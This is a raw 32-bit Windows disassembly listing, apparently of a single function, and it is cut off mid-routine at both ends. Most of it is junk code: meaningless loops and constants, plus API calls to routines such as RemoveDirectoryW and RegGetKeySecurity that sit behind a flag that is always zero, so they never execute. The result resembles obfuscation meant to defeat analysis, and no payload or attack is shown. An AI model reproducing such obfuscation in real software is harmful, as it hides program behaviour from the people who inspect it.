xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff0
je 0x100304bd
xor edx, edx
inc edx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffe6
je 0x100305b2
mov dword [ebp - 0x2c], 0xf8067e30
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10030514
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x774], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100304fb
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10030536
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x914], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003051d
xor eax, eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
jl 0x10030599
mov dword [ebp - 0x34], 0xffffffff
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x774]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x774]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0xc]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x914], ecx
inc edx
xor eax, eax
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10030594
push eax
push eax
push 0x1bf
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor edx, edx
inc edx
dec dword [ebp - 0x2c]
jns 0x1003053e
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xba0], eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe6
push 0
pop eax
jne 0x100304eb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 6
push 8
pop esi
mov dword [ebp - 0x48], 0xfffffffb
jle 0x10030bbb
jmp 0x100305ce
push 8
pop esi
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x44], 0x8e85a7b0
mov dword [ebp - 0x34], 9
mov dword [ebp - 4], eax
jmp 0x100305ff
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xeb0], 0x4956
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x100305ee
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 0xca4f
setge cl
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
je 0x10030673
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x20]
jg 0x1003063b
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003063d
mov esi, edx
jmp 0x1003063f
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
add edx, esi
cmp edx, eax
setle cl
cmp ecx, 0xf3d4210e
sbb eax, eax
xor edx, edx
inc eax
cmp eax, dword [ebp - 0xeb0]
jg 0x10030670
inc edx
mov eax, edx
jmp 0x10030673
xor eax, eax
inc edx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff0
push 3
pop esi
jge 0x100307b3
mov dword [ebp - 0xc], 0x6986
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], eax
jmp 0x100306b2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xbc0], 0x2efe8e60
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x100306a1
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14], 0xae2f
test eax, eax
je 0x100306c8
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
neg eax
neg eax
je 0x100306f0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
sub eax, 0xfffb
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jne 0x10030726
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10030721
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_UnionRect]
mov eax, dword [ebp - 0x14]
jmp 0x100307a0
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x1003074a
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x8bc], 0xde30eca6
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x10030731
xor eax, eax
cmp dword [ebp - 0x8b0], eax
je 0x10030757
cmp dword [ebp - 0xc], eax
jne 0x10030759
mov edx, eax
mov eax, dword [ebp - 0x8b0]
cmp dword [ebp - 0xc], 0
jne 0x10030768
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8b4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0xbb8], edx
mov eax, 0xffff
mov ecx, dword [ebp - 0xc]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
imul ecx, edx
cmp ecx, 0x4179
setne al
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
push 0
pop eax
push 1
pop edx
jl 0x10030692
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 4], 0x692beaa3
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x100307f4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6f4], 0xeb6b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100307db
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030814
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbd8], 0x39d3cd3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100307fc
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003082a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4b4], 0xb38b4b72
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10030819
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xfffffff6
jmp 0x100308a3
push 8
mov dword [ebp - 0x44], eax
pop ecx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x6f0], eax
jne 0x1003087c
mov eax, dword [ebp - 4]
xor edx, edx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x6f0]
cmp eax, 0xdf5c
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, dword [ebp - 0x2c]
jl 0x1003087b
xor eax, eax
inc edx
jmp 0x1003087e
inc edx
mov eax, edx
mov dword [ebp - 0x34], eax
mov ecx, 0xc8d46757
mov eax, dword [ebp - 0xbd0]
sub ecx, eax
mov eax, dword [ebp - 0x44]
imul eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4b4], edx
inc dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], 0x1c
jge 0x1003083e
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0xc], 0x1e559696
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edx
jge 0x100308dc
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x59c], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x100308c8
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], eax
jl 0x100309e9
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x10030910
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x3ec], 7
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x100308f7
xor eax, eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], eax
jg 0x100309e0
mov dword [ebp - 0x30], 0x8fbfc75d
mov dword [ebp - 4], eax
cmp dword [ebp - 4], esi
jge 0x10030949
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x688], 0xfffffffa
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x10030931
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x100309c7
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x100309c0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x684], eax
mov edx, dword [ebp - 0x684]
mov eax, dword [ebp - 0x3e8]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x3ec]
setne cl
add eax, ecx
mov ecx, dword [ebp - 0x59c]
imul ecx, eax
test ecx, ecx
jne 0x1003099e
mov eax, dword [ebp - 0x684]
mov eax, dword [ebp - 0x44]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3e8]
mov eax, dword [ebp - 0x680]
sub ecx, eax
je 0x100309c4
inc edx
mov eax, edx
jmp 0x100309c7
xor eax, eax
inc edx
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x3e8]
cmp dword [ebp - 0x3e8], 0
push 0
pop eax
jle 0x10030922
dec dword [ebp - 0xc]
jns 0x100308e8
push 8
mov dword [ebp - 0xc], 0xd
pop ecx
cmp dword [ebp - 0xc], ecx
jne 0x10030a55
mov dword [ebp - 0x34], 0x9ebe
mov dword [ebp - 4], eax
cmp dword [ebp - 4], esi
jge 0x10030a1f
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xbf0], 0
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x10030a07
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030a3e
push 0x1a26
push 0x8a2
call ebx
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_LineTo]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xbec], eax
dec dword [ebp - 0xc]
push 8
pop eax
cmp dword [ebp - 0xc], eax
push 0
pop eax
je 0x100309f8
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10030a95
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10030a95
xor esi, esi
inc esi
jmp 0x10030a9a
xor esi, esi
inc esi
mov eax, esi
xor ecx, ecx
cmp eax, 0xfe9a5a16
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
add edx, 0xf448
neg edx
sbb edx, edx
neg edx
imul eax, edx
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], 0x7e2799ac
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff6
je 0x10030b29
push 3
pop ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ecx
jge 0x10030b04
push 0xfffffffffffffffb
pop edx
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xc08], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x10030af0
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10030b10
cmp dword [ebp - 0x34], eax
je 0x10030b10
mov eax, esi
mov dword [ebp - 0xc00], eax
mov dword [ebp - 0x34], 5
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff6
push 0
pop eax
jne 0x10030ae2
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10030b44
cmp dword [ebp - 0x10], eax
jne 0x10030b44
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, 0x833e
setle dl
dec eax
neg eax
sbb eax, eax
inc eax
imul edx, eax
cmp edx, dword [ebp - 0x3c]
je 0x10030b8f
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10030b8f
xor edx, edx
inc edx
jmp 0x10030b94
xor edx, edx
inc edx
mov eax, edx
cmp eax, dword [ebp - 0x10]
jg 0x10030ba0
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10030ba2
mov eax, edx
imul eax, eax, 0x4e31
push 0
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
pop eax
jg 0x100305cb
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edx
jge 0x10030bdb
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb0], 7
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x10030bc3
xor eax, eax
push 0xfffffffffffffff8
pop esi
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], esi
jl 0x10030c1f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030c0e
push 0xc8a
push 0x1f9b
push eax
call ebx
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
xor eax, eax
dec dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], esi
jge 0x10030bec
xor edx, edx
inc edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edx
jge 0x10030c3f
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb4], 7
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x10030c27
xor eax, eax
mov dword [ebp - 0xb4], eax
jmp 0x10030c6f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030c69
push 0xc8a
push 0x1f9b
push eax
call ebx
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
xor eax, eax
dec dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], esi
jge 0x10030c47
mov edi, dword [sym.imp.USER32.dll_FlashWindow]
push 0xe
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x2c], eax
pop esi
jmp 0x10030cb5
mov dword [ebp - 4], 0xfda0e60f
mov dword [ebp - 4], eax
jmp 0x10030cac
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030ca9
push eax
call ebx
push eax
call edi
xor eax, eax
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xfffffff3
jne 0x10030c98
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x10030c8c
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x2c], eax
jmp 0x10030cf7
mov dword [ebp - 4], 0xfda0e60f
mov dword [ebp - 4], eax
jmp 0x10030cee
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030ceb
push eax
call ebx
push eax
call edi
xor eax, eax
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xfffffff3
jne 0x10030cda
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x10030cce
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x10], 0x71dfd947
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x14], 0xf0dfbc43
mov dword [ebp - 0x2c], 0x79339b88
mov dword [ebp - 4], eax
jmp 0x10030d36
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x89c], 0
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x10030d25
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
dec ecx
imul ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setg bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x10]
jg 0x10030d88
cmp dword [ebp - 0x14], eax
jne 0x10030d88
mov eax, dword [ebp - 0x14]
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x26
jle 0x10030e7a
push 3
pop esi
mov dword [ebp - 0x30], 0x459f451d
mov dword [ebp - 0x44], 0x63028ec7
mov dword [ebp - 0x14], 0xfffffff5
cmp dword [ebp - 0x14], 0xfffffff0
jl 0x10030dcd
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jge 0x10030db9
xor eax, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], eax
jl 0x10030e6d
mov dword [ebp - 4], 0x760b96bc
mov dword [ebp - 0x14], eax
jmp 0x10030e48
mov dword [ebp - 0x34], eax
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x89c]
add eax, dword [ebp - 4]
cmp eax, 0xde2e
mov eax, dword [ebp - 0x10]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
imul edx, dword [ebp + eax*4 - 0x89c]
neg edx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
sub eax, 0x10001
neg eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x30]
jne 0x10030e2f
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
sub eax, 0xcb2d505b
neg eax
push 0
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], esi
jle 0x10030de5
mov eax, dword [ebp - 0x2c]
push 0
mov ecx, dword [ebp + eax*4 - 0x89c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x89c], ecx
dec dword [ebp - 0x2c]
pop eax
jns 0x10030dd9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x26
jg 0x10030d9e
mov dword [ebp - 4], ebx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x10030e9d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa1c], 0
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x10030e85
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030eb3
push 0x3b6
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [ebp - 4], eax
jmp 0x10030ed6
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030ed3
push eax
push eax
push 0x1e2b
push eax
call esi
xor eax, eax
inc dword [ebp - 4]
cmp dword [ebp - 4], eax
jle 0x10030ebe
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x10030efb
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xc4], 7
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x10030ee3
xor eax, eax
push 8
mov dword [ebp - 0x20], 0xffffffff
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x10030f28
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x358], 0
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x10030f10
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030f3a
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10030f57
mov dword [ebp - 0x20], 0xc6e5
mov eax, dword [ebp - 0x358]
cmp dword [ebp - 0x20], eax
jg 0x10030f55
mov eax, ebx
jmp 0x10030f57
xor eax, eax
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xfffffff8
jl 0x10031238
push 8
pop esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x34], 0xa87a5eaf
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jge 0x10030fa4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x744], 0x6482
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x10030f8b
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x10031045
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x44], 0xb9725245
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x10031042
mov dword [ebp - 0x24], 0xd4f2887c
mov dword [ebp - 0x24], eax
jmp 0x1003101f
mov dword [ebp - 0x44], 0x7289
mov dword [ebp - 0x34], 0xd246
cmp dword [ebp - 0x740], eax
je 0x10031006
mov edx, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
add edx, 0x2db8e964
cmp edx, eax
setne cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
dec eax
je 0x10031004
mov eax, ebx
jmp 0x10031006
xor eax, eax
mov dword [ebp - 0x44], eax
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
test eax, eax
push 0
setg cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], ebx
jle 0x10030fce
mov eax, dword [ebp - 0x740]
xor ecx, ecx
cmp eax, 0x93e6
push 0
setle cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], ebx
jle 0x10030fc2
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jle 0x10030fac
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003106d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
xor eax, eax
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x44], 0x9d5b611f
mov dword [ebp - 0x44], 0x8c658163
push 0xfffffffffffffffb
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x40], 0xdb503b5b
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x100310c3
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x4bc], 0xb03b
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x100310ab
xor eax, eax
push 3
mov dword [ebp - 0xc], eax
pop ecx
cmp dword [ebp - 0xc], ecx
jge 0x100310e6
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xa78], 0x1456b864
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x100310ce
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100310fb
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
xor eax, eax
cmp dword [ebp - 0x280], eax
jne 0x1003114c
mov dword [ebp - 0x20], esi
mov edx, eax
cmp dword [ebp - 0x20], eax
je 0x1003110f
mov edx, ebx
mov eax, dword [ebp - 0x280]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, ebx
mov ecx, 0x93d0b548
setl dl
xor eax, eax
cmp edx, 0xfffffff6
setl al
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x278]
sub ecx, eax
mov eax, dword [ebp - 0x44]
sub ecx, eax
jne 0x1003114c
xor eax, eax
jmp 0x1003114e
mov eax, ebx
cmp eax, dword [ebp - 0x280]
je 0x10031161
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10031163
mov eax, ebx
jmp 0x10031163
xor eax, eax
cmp eax, dword [ebp - 0x280]
jle 0x10031179
xor eax, eax
cmp dword [ebp - 0x280], eax
jne 0x1003117b
mov eax, ebx
jmp 0x1003117b
xor eax, eax
inc eax
mov dword [ebp - 0x44], eax
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10031195
cmp dword [ebp - 0x278], eax
jne 0x10031195
mov ecx, eax
cmp dword [ebp - 0x34], eax
je 0x10031197
mov ecx, ebx
mov eax, dword [ebp - 0x4bc]
sub ecx, eax
mov dword [ebp - 0xa70], ecx
jne 0x100311ad
mov eax, dword [ebp - 0xa70]
xor eax, eax
mov dword [ebp - 0x40], 0x86a67606
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1003121c
mov dword [ebp - 0x44], 0xab659d56
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x100311e5
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa00], 0x6834504c
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x100311cd
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100311fa
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor eax, eax
inc dword [ebp - 0x44]
push 0xc8a
push 0x1f9b
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
dec dword [ebp - 0xc4]
cmp dword [ebp - 0xc4], 0xfffffff8
push 0
pop eax
jge 0x10030f78
mov esi, dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [ebp - 0x34], 0x2c70bb74
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jge 0x10031261
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa4c], 0xc75286e8
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x10031248
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetMenuStringW]
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10031283
push 0x8ec
push 0x16f1
push eax
push 0x4e0
push eax
call ebx
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xa48], eax
xor eax, eax
mov dword [ebp - 0x34], 0x2c70bb74
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jge 0x100312bc
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa5c], 0xc75286e8
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x100312a3
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100312d8
push 0x8ec
push 0x16f1
push eax
push 0x4e0
push eax
call ebx
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xa58], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x2c], eax
jmp 0x10031321
mov dword [ebp - 4], 0xfda0e60f
mov dword [ebp - 4], eax
jmp 0x10031318
mov byte [ebp - 0x25], al
